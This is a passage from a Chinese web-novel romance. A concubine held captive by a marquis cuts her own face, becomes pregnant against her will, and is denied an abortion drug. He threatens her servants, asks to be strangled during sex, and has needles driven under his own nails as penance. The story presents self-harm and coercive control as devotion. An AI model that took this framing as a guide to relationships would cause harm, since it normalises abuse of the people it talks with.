以前她怎么没想出这个法子,皮囊只是外表,宁泠并不在乎。 裴铉的目光紧紧凝视伤口,似乎想摸又不敢。 过了会,他嗓音颓废说道:“我不逼你了。” 两败俱伤,没有赢家,他想要的是宁泠,不是一个孩子。 林韦德请来了大夫后,不放心又去请了太医。 大夫应急,但太医院的医术更令人放心些。 刚回去没多久的大夫又被林韦德叫了回去,他看着宁泠的伤口忍不住长叹一口气。 刚才两人还蜜里调油,怎么现在又拼死拼活了? 看宁姑娘的伤势走向,应该是自己划的。 宁泠面无表情,神情淡漠。 倒是裴铉眉头紧皱,神色忐忑:“如何?” 大夫看着约莫两寸长的伤口纵横于脸颊,颗颗血珠往外沁出。 表面被坏破了,他仔细看了看,幸好伤口划得不深。 大夫回答:“伤口较长,但幸好不深,我先止血。” 裴铉紧紧悬着的内心稍松,伫立在一旁看大夫在宁泠白皙的脸蛋上撒药。 药粉倒下时,刺激了伤口,疼得宁泠身躯一颤。 “会留疤吗?”裴铉嗓音低沉问道。 “饮食清淡,带上面纱不见风。”大夫一边涂药,一边回答,“等会我再开些祛疤的膏药,应该不会留疤。” 宫里秘制祛疤养肤的膏药很多,想留疤几乎不可能。 宁泠心里冷笑,果真是以色侍人。 晚上,宁泠一个人躺在偏殿,心里更多的是惶恐。裴铉让人将尖锐的东西都收缴了。现在裴铉厌弃坏了的脸不愿碰她,暂时是安全的,但伤疤迟早会恢复,以后怎么办? 裴铉一个人坐在榻前,似是在沉思。 宁泠划脸时簪子顺势扫过喉咙时,他全身毛骨悚然,汗毛竖起。 她太倔了,他甚至在想有孩子后,她恐怕也是宁为玉碎不为瓦全。 这个办法行不通,裴铉的神情露出了鲜少的迷茫。他有预感再下去,会是鱼死网破的结局。 但他舍不得放宁泠走,又留不住她。 接下来一个月的时间,宁泠都带着面纱养伤,裴铉专门去宫里找来了祛疤的秘药。 她不想用,可珍珠红着眼睛,嘟着嘴巴求她,她又心软了。 她与裴铉分房而睡,两人一个在正房,一个安分守己在偏房,井水不犯河水。 甚至连面都甚少见,宁泠摸不清裴铉又在搞什么坏心思。 刚开始她还暗自庆幸,可最近她心里慌得很。 原因很简单,她的癸水已经迟了七日了。以前虽说喝了凉药也不太准,可从来没有超过太久。 初夏时节,万里晴空,天色时冷时热,若太阳高挂碧空,金黄色炙热的阳光将地面晒的滚烫,犹如蒸笼般的闷热。 若是没有太阳的日子,吹来的风又带着凉意,风大了还冷得人回屋取暖。 今天的太阳不错,人在外面站久了,脸上红彤彤一片。 “有点热了,珍珠你去灶房要一碗冰酥酪。”宁泠不动声色道。 “啊。”珍珠担忧地劝说:“这个天用冰,会不会太早了?而且姑娘你癸水将来,还是不要吃寒凉之物。” “灶房的人天天送些寡淡无味的食物来,我都吃腻了。”宁泠眉宇间带着不耐烦,“如今吃一碗冰酥酪都不行?” 珍珠抬眸看了看,近来姐姐和侯爷闹脾气,两个人似乎谁都不让谁。 姐姐一想不为难下人,也不提要求,好不容易要一碗冰酥酪,她 不好拒绝。 “好吧。”珍珠转身出门。 宁泠心焦,以往她月事将来时,吃不得寒凉之物,每每吃了很快便来,但总是加重腹痛。 眼下她也没有更加的法子,只能姑且一试。 上次珍珠去灶房要鸡蛋消肿没要到,后来裴铉知道了,命人好好整治了灶房,下人们再也不敢乱猜测了,将宁泠好生供着,听到珍珠说宁泠要吃冰酥酪,手脚麻利做好送来。 宁泠将那碗冰酥酪全部吃下了,没多久就感觉自己小腹隐隐作痛。 她眉梢一喜,以为癸水将至。 可第二天醒来,还是什么都没,她脸色不太好看。 珍珠为她整理床铺,嘴上还碎碎念道:“姐姐的癸水延迟了这么久,要不去和侯爷说,让他请个大夫?” 姐姐一说,侯爷肯定心急为她请太医,两人不就重归于好。 宁泠对着珍珠,欲言又止。 她本想让珍珠瞒下此事,可转念一想。倘若裴铉知道了此事,珍珠定难逃一劫。 她的请求只会将珍珠陷于两难境地。 宁泠对有孕已有六七分肯定了,心里着急地思索着解决办法。 最好的办法就是弄一副汤药来,可此计是万万行不通的。 宁泠想了想,又想到一个办法。 今天裴铉下值后,回了内室后惊讶地发现宁泠竟然在这。 宁泠带着一副素白的面纱,出淤泥不染,圣洁美丽,只余下一双灵动的眼眸在外。 上次风寒大病后,她身上的肉一直没长回来。 纤细柳腰,亭亭玉立。 “伤口还疼吗?”裴铉走至她面前几步,没有靠太近。 上次划脸之后,他怕太刺激她,一直和她保持距离。 宁泠摇摇头:“不疼了。” 话说完后,两人之间又恢复了死寂般的沉默。 宁泠冷静开口:“我面容已毁,侯爷对我恐怕也没有了兴趣,不然放我走吧。” “不可能。”裴铉的眸色坚定,“专门找我来就是为了说这事?” 难怪之前躲得远远的,今日倒积极得很,原来是以为他腻了,上门探探口风。 “侯爷想要的不是一具尸体吧?”宁泠面色从容,“我的脾性急躁,是改不了的。如今面对侯爷我敢毅然划脸,以后我怎么可能对正室屈躬卑膝,遵守礼法尊卑?” 裴铉深沉的目光凝视着她许久,缓缓开口:“若我那天娶了正室,为你另寻一处安居之地,你们互不干扰。” 他明白真惹急了她,把簪子对准自己咽喉的事她做得出来。 “侯爷想享齐人之福?”宁泠眸色厌恶地盯着他,“可我性子骄纵霸道,不肯和她人共享,还是放我走把,免得我将府邸搅和的天翻地覆。” 她何时真的在意他身旁是否有别人了?以前都巴不得他找别人,别来烦他。 “宁泠,我们互退一步,你可以换个要求。”裴铉眼里暗光浮动,“我永远不可能放你走,劝你趁早死了这心思。你若敢寻死,你身边人一个都别想好过。” “我不生孩子。”宁泠呼吸困难,态度坚决,孩子是她最后的底线。 裴铉并未反驳:“随你。” 宁泠的眉头皱得更厉害,没想到裴铉今日怎么好说话。 “你要的,我都应承你了。”裴铉向她走近,看她情绪稳定,慢慢抱住她,“那你答应我,以后不准再伤害自己。” 他不得不承认,宁泠会让他感觉到心悸害怕。 他逼她,从开始的巴掌,到现在的划脸,她从不妥协,刚过易折,他狠不下那个心了。 “好。”宁泠脸上有了点笑意,“以后我有气,可拿你裴铉撒气了。” 裴铉的目光一闪:“好。” 许久未曾亲近,裴铉有些不能自已,他想揭开宁泠的面纱看看伤口,宁泠不肯。 “先去沐浴。”宁泠推开他,但没有之前冷冰冰的模样。 她似乎带着点目的达成后的妥协。 裴铉沐浴的速度更快,出来后敏锐察觉到室内熏了香,甜腻的味道萦绕在室内。 是上次他和宁泠用了的香,后来他闲置放在一旁了。好端端地怎么忽然燃香? 但室内没人进来,估计是宁泠点的,他没去熄灭。 等宁泠出来时,香粉已经燃灭,裴铉眼尾泛红,脖子上青经暴起,他看着香炉若有所思。 “怎么想起点香了?”裴铉嗓音暗哑问道。 宁泠羞怯搂着他:“我怕你嫌弃我的脸。” 裴铉隔着面纱亲吻着她的脸颊,目光缱绻:“不会。” 宁泠着急地等待着他的下一步动作,可他只是深情地吻。 她一咬牙,主动勾上了他的脖子,吻在了他的喉结处。 他浑身微颤,却只将她搂得更紧。 “不过一月,你不行了吗?”宁泠踮起脚尖环住他,轻声在他耳畔挑衅。 他忽地用力将她抱起,轻轻放在一处柔软矮榻上。 坐在矮榻上的宁泠迷惑地俯视他,他一个劲仰头向她索吻。 将他眼眸里毫不掩饰的隐忍、挣扎、渴求收入眼底。 他一边跪在她脚边自。渎一边急切地吻她,却迟迟不肯进行下一步。 宁泠想起身,但被他的另外一只手紧紧按在榻上。 “你这是什么意思?”宁泠皱眉。 他喘着气求她:“掐我,向上次我掐你那样,更用劲还回来,好不好?” 宁泠不语,难道他看穿她的计谋了?那为什么不熄灭香? 她居高临下,神情漠然地看着跪在脚边的他。 狼狈卑微地一遍遍求她掐他,他好像很难受。 “你不恨我吗?不想以牙还牙吗?”裴铉发红的眼眸紧紧盯着她,若视线能够凝固成刀刃,大概能将她的血肉片片割下。 他的话莫名刺激了宁泠,她骤然伸出双手死死掐住他的脖子。 半晌后,裴铉却在窒息的临界下解脱了。 宁泠顿时缓过神来,呆呆看着狼藉的地面松了手。 裴铉餍足地笑出声,跪走过来牵起她的手心温柔吻了吻。 他简单收拾了下去沐浴,宁泠蹙眉沉思,他刚才是什么意思? 她好端端一个人在这,他视若无睹。 想着想着在柔软的榻上,她不知不觉睡着了。 裴铉出来后,看着陷入沉睡的她,悄无声息出了门,对外面的林伟德哑声道:“请大夫来。” 林韦德看侯爷脖颈有明显的指印,心里打颤,他两又怎么了? 马不停蹄地去找大夫过来。 裴铉看着她将毯子拥在怀里,睡得香甜舒适。 思索着刚才的情景,她对他是眼不见为净,偏偏又主动送上门来。 瞧着是来打探谈判,想让他放她走。实际上打着其他的算盘,还敢点香。 依照她的性情主动点香,估计又是一肚子坏水算计他。 被她的甜言蜜语骗多了,如今她稍稍主动点,他便风吹草动立马警觉。 大夫来时,宁泠依旧睡得很沉,直到他把脉的手触碰到她,她才悠悠转转醒来。 大夫咧嘴一笑,语气欣喜:“恭喜侯爷啊,这是喜脉!” 室内霎时间鸦雀无声,沉重肃穆,像是说出了一个不幸的消息。 宁泠冷冰冰的视线看向裴铉,其中夹杂着愤怒、怀疑。 他当初斩钉截铁说不会有孕,结果一次就成了,她怀疑是他故意设下的圈套。 裴铉请大夫来之前心里隐隐约约有这个准备,毕竟宁泠没来癸水,还主动点香。 可事情成真时,他心里说不清什么感觉。 恐慌、欣喜、担忧,五味掺杂,难以分辨。 对上宁泠愤怒的眼神,他顿时百口莫辩。 他翻出那本书问大夫:“上面这个法子是假的?” “这种杂书当不得真。”大夫神色讪讪。 一月前上午宁姑娘还喝助孕的汤药,下午时分就划伤了脸,如今有孕了,两人瞧着又不大开心。 后来林韦德做主给了赏钱,将人送出了院子。 裴铉着急解释,神情委屈:“我真没骗你,我也是被骗了。” 他只有宁泠一个女人,也不是很懂这些。 虽说之前他是真的想她有孕,可那夜他真没骗她。 宁泠 神色很冷静:“你既然没这想法,就爽快给我一碗落胎药。” “你太残忍了。”裴铉的神色冷了下来,“你对所有人都心软,但对我如此铁石心肠。你燃香是为了让我亲自去落胎,你要一个亲生父亲去杀掉自己的骨肉,宁泠你也是孩子的母亲,孩子是无辜的,你这样做对孩子公平吗?引诱他的生身父亲杀了他。” 他语气平静地描述事实,又字字泣血。 宁泠听了后心神一愣,她怎么成了这样的人了? 她的父母将所有的爱都给了她,她却要让自己孩子的亲生父亲杀他。 即便她再不想要这个孩子,她也不能做这种事情啊。 宁泠痛苦地抱着头,她在怀疑自己怀孕的那一刻就已经疯魔癫狂了,满脑子都是打掉他。 她好像被裴铉同化了,她不择手段不在意方法,只求达到目的。 为了除掉孩子,她可以做下如此惨绝人寰,丧心病狂的事情。 宁泠泪流满面,裴铉想上前安稳她的情绪。 她的情绪却彻底崩溃,退后道:“怪你!都是你!是你逼我才会这样的,我也不想这么对他的。” 她以前也幻想过自己嫁人生子的幸福日子,她会有个可可爱爱的孩子,她会像她的父母一样,温暖地爱他护他,绝对不是现在这样。 “都是我的错,是我逼你才会成这样。”裴铉第一次体会到心如刀割,疼痛蔓延全身的感觉。 从她划自己脸时,裴铉就迅速地察觉到她情绪不对。所以一个月的时间,他有意保持距离,害怕激化矛盾。 宁泠哭着上气不接下气,眼睛红肿地央求他:“那你给我一副落胎药好不好?” 她真的不能生下他,有了他她一辈子就完了。 “我对你有那么差吗?”裴铉感觉呼吸说出的话都带着苦涩的味道,“以前我是强迫你做过你不想的事情,可是我在改!你扪心自问,你另嫁他人,你就能保证那天在马场上他敢来救你!你生下这个孩子,我也会用性命护他爱他。” 宁泠的哭泣顿了顿,她不能保证。 裴铉情绪激动,接着说:“你看看世上有多少父母卖孩子,多少孩子读书无望,家境拮据。你小时候想读书认字没机会,可你生下他,无论男女,我都让他平平安安,无人敢欺。” 青楼里老鸨的话突然响起,男人的真心只在床榻上一刻。 裴铉救她的一瞬间是真,可她不能强求他永远不变。 她是他的第一个女人,或许有几分情意,可以后他会有更多的女人,更多的孩子。她的孩子只能是正室的奴仆。 “你会有很多孩子,他只是其中微不足道的一个。”宁泠哭得干呕连连。 裴铉感觉心都快碎了:“说来说去你就是不相信我会对他好,你就是恨我。” 他起身离开片刻,不久后又回来,将宁泠划伤脸的簪子扔在地上,还有其他的东西。 “你心里恨我,尽管对我来,折磨自己是什么道理。”裴铉打开一个布包,里面是长长泛着冷光的银针,“有簪子划我,用银针刺我都可以,使劲对我撒气。这个孩子是我千辛万苦,受尽刑罚苦求来的,我怎么可能舍得他被人欺负。” 第58章 第58章【VIP】 宁泠傻傻地盯着簪子,眼泪颗颗掉落。 裴铉将簪子塞到她手上:“心里有气有恨都对我来。” 宁泠的视线先是落到了手心的簪子上,接着投落在裴铉的脸上。 他黝黑的瞳孔里倒影的都是她,她的手抖了一下。 “下不去手?”裴铉声音沙哑,狠厉地取了一根冰凉的银针给她,“那就换一个不吓人的,我给你穿了两次耳眼,我知你怕疼怨恨我。都说十指连心钻心痛,现在轮到你动手了,我犯下的错,我愿意尽全力去弥补,宁泠你给我一个机会,好不好?” 宁泠捏着那根银针,她是恨他,凭什么给她穿耳,凭什么去强迫她做不情愿的事情。 面对那根簪子,她的确下不去手。 可一闭眼想到他给她穿耳时的疼痛屈辱,她的心充满了怨恨。 她的指腹死死用力捏着银针,裴铉骨节分明的手放在她眼前,等待着她的行动。 宁泠的眼眸里充斥了恨意,以及她未曾发现的委屈。 她将银针刺入他的指甲下的肉里,银针甫一扎进肉里,裴铉高大的身形颤了一下,很快稳住,没有发出一点声音。 宁泠克制住泛滥无用的心软,将银针继续推进去。 很快鲜血顺着银针低落,血腥味刺激了她敏感的器官,宁泠缓缓停下了动作。 “又心软了?”裴铉低叹一口气,语气无奈,“我自己动手,你看着解气就成。” 裴铉下手狠得多,仿佛扎得人不是自己,而是一个穷凶极恶的罪犯。 他直接将宁泠扎进去的银针一口气推到底,接着又拿起一根银针。 毫不犹豫地扎进去,他手疼得打颤,汗水浸湿衣衫,但并不妨碍他用力推针的决心。 空气里鲜血的味道更重了,宁泠胃里的不适感加重。 她蹙眉冷冷看着裴铉受伤的手,修长的手指上浸染了刺眼的鲜血。 他那张俊逸白皙的脸上有痛苦,又悔恨,还有她看不明白的情绪。 宁泠忽地内心生出一阵烦躁感,头晕脑胀累得慌。 裴铉从针袋里取第三根银针时,宁泠忽地晕倒了,吓得他连忙接住。 大声命人去请了大夫,大夫和林韦德又回了争晖院。 林韦德偷偷觑了眼裴铉染血的手指头,他审过许多犯人,知晓这种伤口的来由。 大夫皱眉把脉后说道:“姑娘胎像不稳,又受了刺激。若想保住孩子,切忌寒凉伤身之物,更不能情绪激动。” 裴铉沉着脸点点头,让他开了安胎的方子。 林韦德看见他的手,欲言又止。 宁泠一觉睡醒时,外面天色漆黑。 她刚睁开眼,就见裴铉一双幽幽锐利的眼眸全神贯注看着她。 她全身瞬间僵住,不敢动弹。 “怕什么?”裴铉看出了她的紧张,“现在谁敢动你欺负你。” 许是因为怀了孕,宁泠的情绪变得阴晴不定。 她倏地红了眼眸,满含泪水。 裴铉生怕她又情绪激动昏了过去,连忙说道:“饿了吗?” 宁泠不答,视线下移到他受伤的手上。 连问几句她不理人,裴铉也不恼,甚至伸出手主动给她看:“一共才扎了两针,你晕了我就停了,现在继续吗?” 宁泠摇摇头,她不喜那样的场面,心里甚至害怕。 “你不看也好,听说怀孕最好不见血。”裴铉神情温柔,声音放软,“等你生下了他,我再偿还给你好不好?” 他想赎罪,希望宁泠能留下孩子。 听见他说生下,宁泠的神情怔怔,没有说话。 她的心好乱,她不想生下他,她害怕以后将会面对的恐慌。 可是他宁愿自。残,都不会痛快地给她一碗落胎药。 裴铉起身点燃了室内的烛火,柔和的光照在宁泠无措的小脸上。 他想抱抱她,又怕刺激她,抬起手摸摸她的额头。 “先吃饭吧。”裴铉命人上了饭菜。 宁泠对着一大桌子的菜毫无胃口,闻见油腻的肉味小脸崩地紧紧。 见她连筷子都不愿拿起,裴铉夹了以往她爱吃的红烧肉喂至她嘴边。 酱红色的肉块,泛着油亮诱人的光泽。 肉味猛地凑近,宁泠再也压制不住胃里的反酸,干呕出声。 这动静吓得裴铉颇有几分手忙脚乱。 他忙给她倒了一杯温热的茶水,又忽地想到她怀了孕不知能不能喝茶水。 宁泠却径直伸手接过茶水,喝了小半杯才好受了些。 “我不饿,不想吃。”缓过那股难受劲的宁泠离开饭桌。 裴铉眉头紧蹙:“一 点不吃怎么行?” 宁泠泪水潋滟的眼眸看着他,仿佛他若不赞同地出声反驳一句,泪珠就要马上全部掉落。 裴铉的话都堵在了嗓子口,看着小脸紧绷,眼眸带水,难受得可怜兮兮的模样。 可不吃东西真的不行。 他小心地组织措辞:“多多少少还是吃一点,有什么想吃的吗?我派人去买,等会还要喝药。” “喝什么药?”宁泠的脸色不太好看。 裴铉的神情低落:“安胎药。” 室内的沉寂铺天盖地的袭来,裴铉甚至在想宁泠会不会又哭又闹时。 宁泠却忽地说道:“那你去一品楼给我买酥蜜饼。” “我派林韦德去。”裴铉看了看她神情,“你一个人在这,我不放心。” “说来说去就是嫌麻烦,不想去给我买。”宁泠的话里带了委屈。 “好,我马上去。”裴铉无奈笑笑,起身出了室内。 只要肯好好吃东西,好好喝药,怎么都行。 等他走后,宁泠一个人待在室内,刚才那一瞬间她的确想过用不吃不喝逼迫裴铉。 但身体是自己的,裴铉铁了心要她生下孩子。 现在裴铉因为孩子对她百依百顺,对她来说也算是一个契机。 之前他看管得严,一点逃跑的机会都没有。 宁泠要的酥蜜饼,裴铉晚上快马加鞭地买回来了。 她吃了一个就皱眉不开心道:“味道变了。” 裴铉拿了一个吃,回味思考后:“没变,还是以前那个味道。” “我说变了就是变了。”宁泠脸上更不开心了。 “好,变了。”裴铉宠溺地笑笑,“那你还想吃什么?一个饼吃不饱。” 后来宁泠又吃了一份浮圆子,黑色泛苦的汤药一端上来。 宁泠的眼泪吧嗒吧嗒开始流,裴铉拿着手帕小心翼翼为她擦泪。 “喝药而已,怎么还哭了?”他叹着气问道。 宁泠自己也不知道,就觉得心里委屈得很。 一会心慌,一会心烦,一会又难过。 “天天都喝药。”她抽着气,断断续续道:“我在侯府一年,比我一辈子吃的药都多。不是吃凉药,就是生病吃药,现在还吃药。” 裴铉的眼眸暗了暗,若现在这碗是落胎药,估计她笑得灿烂如花,甘之若饴地喝下。 “以前的事情是我不对,可现在的药还是要喝的。”裴铉头痛道。 宁泠不服气地顶嘴道:“你嘴皮子动动,就可以轻轻一笔带过了。” 裴铉明白了:“宁泠想我陪你喝?” 他算是彻底搞明白了,她就是现在开始变着法收拾他了,偏偏他还心甘情愿。 宁泠撇了眼中药:“这是保胎的药,侯爷肚子里也有孩子了?” 说完后,许是觉得离奇,她唇角微扬,心情好了些。 一抹笑很是晃眼,裴铉看得心神荡漾。 自从一月前换药秘密败露后,她许久没给他好脸色了。 今日燃香时也是虚情假意,另有谋算。 “宁泠喝安胎药,我便喝黄连水去热清火。”裴铉脸上浮现笑意,“但晚上须一起入榻而眠。” 宁泠的笑意收敛,她不想和他躺在同一张床榻。 冷冰冰道:“不必了。” “不行,你一个人睡我不放心,万一你不舒服怎么办?”裴铉不肯退步。 她现在稍稍愿意和他说句话,和颜悦色些,他就忍不住暗想她又在出什么坏主意。 一个人晚上在偏房,他不放心。 “有珍珠守夜,不是一个人。”宁泠拒绝。 “那小丫头睡得沉,你真忍心使唤她?”裴铉在她身边笑,“放心,我老老实实的。” 宁泠拗不过他,绷着脸没出声。 裴铉命人熬的黄连水送来了,苦涩的味道比宁泠的安胎药还重。 他不在意地拿起药碗,朝宁泠道:“我先喝了,你不许耍赖。” 宁泠看着他喝都觉得苦得慌,喝完后裴铉端着她的安胎药来喂她。 宁泠一把抢过药碗,小心警惕看着他:“我自己喝。” 以前他是为了逗弄她玩,故意一点一点地喂她,看她一张小脸皱成一团,稀奇古怪的模样。 可如今只有她拿捏他的份了。 宁泠将一碗药喝完后,又被人伺候着洗漱。 她下午才昏昏沉沉睡了一觉,不知为何到了晚上又困乏了。 大夫叮嘱过裴铉,孕期嗜睡,而且宁泠身子弱要多休息。 他的身躯挡住了外面的烛火光亮,揉揉宁泠毛茸茸的脑袋:“困了就睡吧。” 宁泠又睡着了。 裴铉目光柔和地看着她,虽然这个孩子在他意料之外。 可既然来了,他也舍不得送他走。 宁泠的态度明显柔和下来,不知她打得是什么算盘,可也算是一个好兆头。 此后一月的时间,宁泠的孕吐更加严重,裴铉专门请了两个姑姑来照顾她饮食起居。 宁泠坐在饭桌前看着饭菜,刚才她还心心念念想吃,不知怎地饭菜上来了,她却没有了胃口。 “我不想吃了。”宁泠神情恹恹。 王姑姑为她布菜说道:“姑娘,好歹还是吃一点,你天天吃酸溜溜的青梅可不行。” 宁泠最近爱吃酸,对旁人来说酸倒牙的东西,她爱不释手。 “吃不下。”她光闻着味道就犯恶心。 王姑姑的声音小了些:“好姑娘,你怀得可是侯爷的头一个,要是个男儿,得了侯爷喜爱,以后封为小世子,你可就母凭子贵,飞黄腾达了,务必要养好身子啊。” 她说这话有自己的私心,侯爷只命她小心伺候服侍。 待宁泠生下孩子后,是走是留还没个定数。 宁泠身旁没个老人,她为宁泠出谋划策,做了她的心腹,想留下就简单多了。 宁泠不说话,心里有些烦躁。 她是一个活生生的人,现在孩子还在她肚子里,只是她的附着物。 为什么她却成了孩子的寄生虫? 要靠着孩子,要母凭子贵。 宁泠唇线抿紧,打断了王姑姑絮絮叨叨的话。 “不吃,都拿下去。”说话间带了几分怒意。 裴铉刚好下值,听见她语气不善,笑问道:“谁敢惹我们宁泠生气?” 宁泠现在是一小会都饿不得的人,灶房随时为她准备吃食,两人并不一起吃晚饭了。 王姑姑不敢把刚才的话说出来,转移话题:“姑娘不肯吃饭菜,老奴话多念叨了几句,惹了她生气。” “是吗?”裴铉似笑非笑地瞥了眼王姑姑,气势骇人,“可别仗着她年纪小好说话,倚老卖老。” 宁泠的脾性他还是知道,就是个纸老虎。 满府邸只会对他发脾气,对谁都是温柔和气的。 王姑姑心虚地缩了缩脖子,紧张地看了宁泠一眼。 “你下去吧。”宁泠出言解了她的困境。 裴铉洗了手坐至饭桌处:“刚好我还没用晚饭,咱们一起。” 宁泠的心气还没理顺,飘了一眼桌面,闷闷道:“不想吃。” “光吐不吃,长期以往怎么行?”裴铉为她剥了一只虾,“吃点清淡不油腻的。” 以前她爱吃油腻荤腥的,现在是闻了就要吐。 她不吃,他也不敢吃。 上次和同僚一起,怕她闻见酒气不舒服,他没敢喝酒,随便吃了点饭菜果腹。 结果后来她吐了半宿,苦着脸哭诉他身上有油腥味。 肉递到了嘴边,宁泠偏不张嘴,裴铉也不松手。 摆明了要她吃下去,宁泠心里更烦了,说得好听担心她身体,其实还是因为孩子。 以往她闹脾气不吃饭,他何曾这般做小伏低,好言好语。 她像是要生吞了一样,气急败坏地咬下那只虾。 咀嚼间不经意看见了桌边的一筐青梅,忽地笑了。 裴铉莫名其妙看她一眼,自从她有孕后,脾性反复无常。 前一面还哭得凄凄惨惨,下一秒就喜笑颜 开。 “侯爷想我吃点肉?”宁泠眨巴了下浓密的睫毛。 裴铉又夹了一只虾,细心地为她去除外壳:“对。” “侯爷吃一颗青梅,我就吃一只虾。”她来了兴致,天天闷在侯府。 裴铉面色僵硬了下,抬眸看了眼绿油油的青梅。瞬间明白了她的意思,她当他丫鬟时他逗她玩,现在她故意为此。 “好。”裴铉笑笑,“当初我可是喂宁泠一颗颗吃下,你也要喂我才成。” 宁泠有些恼怒,有种搬起石头砸自己的脚的感觉。 她不想听他说话,特意选了一颗最酸的青梅往他嘴里塞。 裴铉还有恬不知耻地故意伸出舌尖,在她手指上轻舔。 宁泠迅速收回了手,拿出干净的手帕擦拭。 脸上止不住的嫌弃。 酸梅他吃的面不改色,似是吃可口的蜜糖,笑着唤她再喂,宁泠不干了。 饭后宁泠面色忧愁:“我想回青山县看我爹娘。” 裴铉的眉头皱了皱:“我们之前不是说好了吗?一年后我带你去看。” “那你之前也说好不让我有孕。”宁泠的眼泪掉了下来,“别人都说生孩子是过鬼门关,万一我一脚没迈过去,我岂不是永远去不成了。” 裴铉将她抱在怀里安慰:“我会给你请最好的接生婆,别担心没事的。” “这种事情谁说得清楚。”宁泠的泪水像泄闸的洪水似流不尽,“你担心我,可以陪我去,紧紧跟着我。” 裴铉铁了心不给她落胎药,想要她生下孩子。 侯府严防死守她什么机会都没有,不如软化裴铉,出了侯府再寻找时机。 她和裴铉死犟着冷脸,并不能得到好处。 裴铉没说话,但显然是不会轻易答应。 夜晚的风带着暖意,裴铉拥抱着宁泠很快入睡了。 许是宁泠的话影响了他,裴铉梦到了她生产的时候。 裴铉站在屋内抬眸望向室内,黑漆漆的夜色里房屋灯火通明。 她发动的时间是在开春时节,天气冷飕飕的,尤其夜晚的风像锋利的匕首,刀刀割人脸。 室内声音嘈杂,稀里糊涂说着:“加把劲啊,这样可不行啊。” 裴铉心里着急,挪动脚步要进屋看情况。 王姑姑忽然从屋子里跑出来,跪在他面前大喊道:“侯爷,姑娘不行了,她憋着一口气不肯生,再下去要一尸两命啊。” 裴铉整个人浑身被定在原地,双腿如同被灌了铅,怎么都抬不动。 “你说什么?”他格外艰难地吐出这几个字。 王姑姑哭丧着脸重复:“姑娘不肯生,要活活憋死自己啊,侯爷你进去劝劝她吧。” 裴铉的心痛得厉害,阵阵寒意从脊椎骨往上窜,四肢冰凉。 他浑浑噩噩、跌跌撞撞冲进了产房,看见宁泠满头大汗,脸色苍白地躺在床榻上。 她痛得厉害,双眼紧闭,双手死死抓住床被,牙齿紧咬唇肉,嘴皮都被咬破了。 他蹲下身来,忐忑不安喊道:“宁泠。” 宁泠不理他,睁开眼眸狠狠看着他,眼里满是恨意。 “姑娘,你这样下去不行啊。”王姑姑大声喊道。 裴铉想用手指撬开她用力咬住的嘴:“你难受就咬我手指,别伤害自己。” “呸。”宁泠疼得脸色惨白,神情厌恶地看着他,“装什么好人?” 她很难受,每说几个字,就要停顿喘气很久。 裴铉心慌得厉害:“你先把孩子生下来,之后我任由你处置。” 她的气虚越来越微弱,气若游丝。 旁边的接生婆面色沉重地裴铉摇头示意,再生不下来,大人小孩都保不住。 “做梦。”她的眼神盛满恨意,“早说了我不要这个孩子,我不生。” 她喘着气,脸上浮现出报复成功的笑容:“你不是想要孩子吗?我给你,你不是要生生世世困住我吗?你成功了。” 她弱小消瘦的身体,四肢都纤细,唯有肚子大大的。 无论裴铉怎么求她,怎么劝说她,她都不肯退让一步。 太医、大夫、接生婆绞尽脑汁,用尽了各种办法,还能不能阻挠她的决心。 时间一分一毫地流逝,她的气息越来越弱了。 眼神开始涣散,紧紧攥住床单的手也松了。 裴铉跪在她身边,哭着求她,砰砰响地磕头,她毫无反应。 “我错了,我娶你做正室,一心一意待你好不好?”裴铉哭得嗓子都哑了。 宁泠虚弱地睁开眼,冷冰冰充满恨意地看他,嘴角浮现冷笑。 下一刻,人眼睁睁在裴铉面前断了气。 裴铉的心脏被重物压住,先是喘不过气,临近窒息。 又看见死不瞑目地一双眼睛,布满恨意地注视他。 他抱头痛哭,几乎发狂。 撕心裂肺地痛苦在身体蔓延,痛不欲生。 “裴铉,裴铉。”睡在一侧的宁泠被他吵醒唤他。 裴铉才缓缓醒来,脸上全是泪水,他伸手擦了一点,对着泪水发呆。 “你做噩梦了?”宁泠看着他的泪水,“刚才一直在大声喊不、不、不。” 裴铉紧紧将宁泠搂在怀里,身体还轻微打着颤:“是做噩梦了。” “梦见什么了?”宁泠好奇问道。 裴铉梦见什么?能恐慌害怕哭成这样。 她还是第一次见他哭。 裴铉埋在她温柔的颈窝,懦弱地甚至不敢去回想那个梦境。 “宁泠,你若生下男孩,我便请封你做正室好不好?”裴铉的呼吸喷洒在她细嫩的肌肤上,痒痒的。 宁泠暗暗冷笑,还真是过上了母凭子贵的日子。 “是个女儿呢?” “是个女儿,我先将你请封侧夫人,以后我再扶正你可好?”裴铉思索后答道。 他当然不会好心派她的伯父们去当官,不过是为了提升她的门第。 他们官做得越大越好,然后在体察明情,安抚百姓的路上因公殉职。 她伯父临终托付,他可怜宁泠孤女不易,她又产子有功,抬她做正室名正言顺。 若是宁泠生个女儿,那他就还要等一等,最好帮她那几个伯父立下点实打实的政绩后再弄死。 这些话他当然不敢告诉宁泠,她对他们虽无亲情,可也不可能看着他们眼睁睁去死。 宁泠知晓大户人家都重男轻女,心里颇为不屑。 她要的是两情相悦的正妻之位,而且凭什么裴铉想娶,她就要嫁。 她换了个话题:“我想回青山县看看。” “待你生下孩子,衣锦还乡岂不更好?”裴铉不答应。 “若是难产,我便没有机会活着回去了。”宁泠晶莹的眼泪又涌上。 裴铉听到难产两字,脸色很是难看。 过了许久才说:“我答应,陪你回去。” 第59章 第59章【VIP】 他既然离不了她,看不上别的女人,就堂堂正正娶了她。 以后他们还会有孩子,和和美美过一辈子。 哪怕她不爱她,又有什么关系呢? 他有一辈子的时间去弥补和赎罪,去融化她心里那道高高的城墙。 裴铉很清楚自己要什么,成了他的妻后她如何逃之夭夭? 宁泠肚中胎儿的月份已有两月多,王姑姑日日耳提面命地念叨,头三个月要小心谨慎,待三个月后胎象便稳了。 王姑姑端着黑黝黝的安胎药,苦口婆心劝说:“姑娘暂且忍忍,老 奴问了太医,待三个月就不用喝了。” 宁泠紧皱眉头,她三番五次想将屋里人支出去,将安胎药倒了。 这个孩子还是留不得,纵然心里对他有愧。 可裴铉不是他的良人,孩子也万万不该有。 可裴铉知晓她不情愿,每次喝药都让人紧紧盯着,不给她一点机会。 “孩子安稳,我也放心了。”宁泠眼眸带笑,面色温柔,“闲来没事,不如王姑姑给我说些孩子的注意事项,我年纪小不懂事,又是头胎,还是要向你们这些老人多学习。” 她这番话将王姑姑哄得心花怒放,她也是资历老的姑姑,来了侯府,侯爷眼里只有宁泠。宁泠又偏偏对她爱答不理的。 她以为孩子大了,宁泠心气顺了,对孩子有了母爱怜惜。 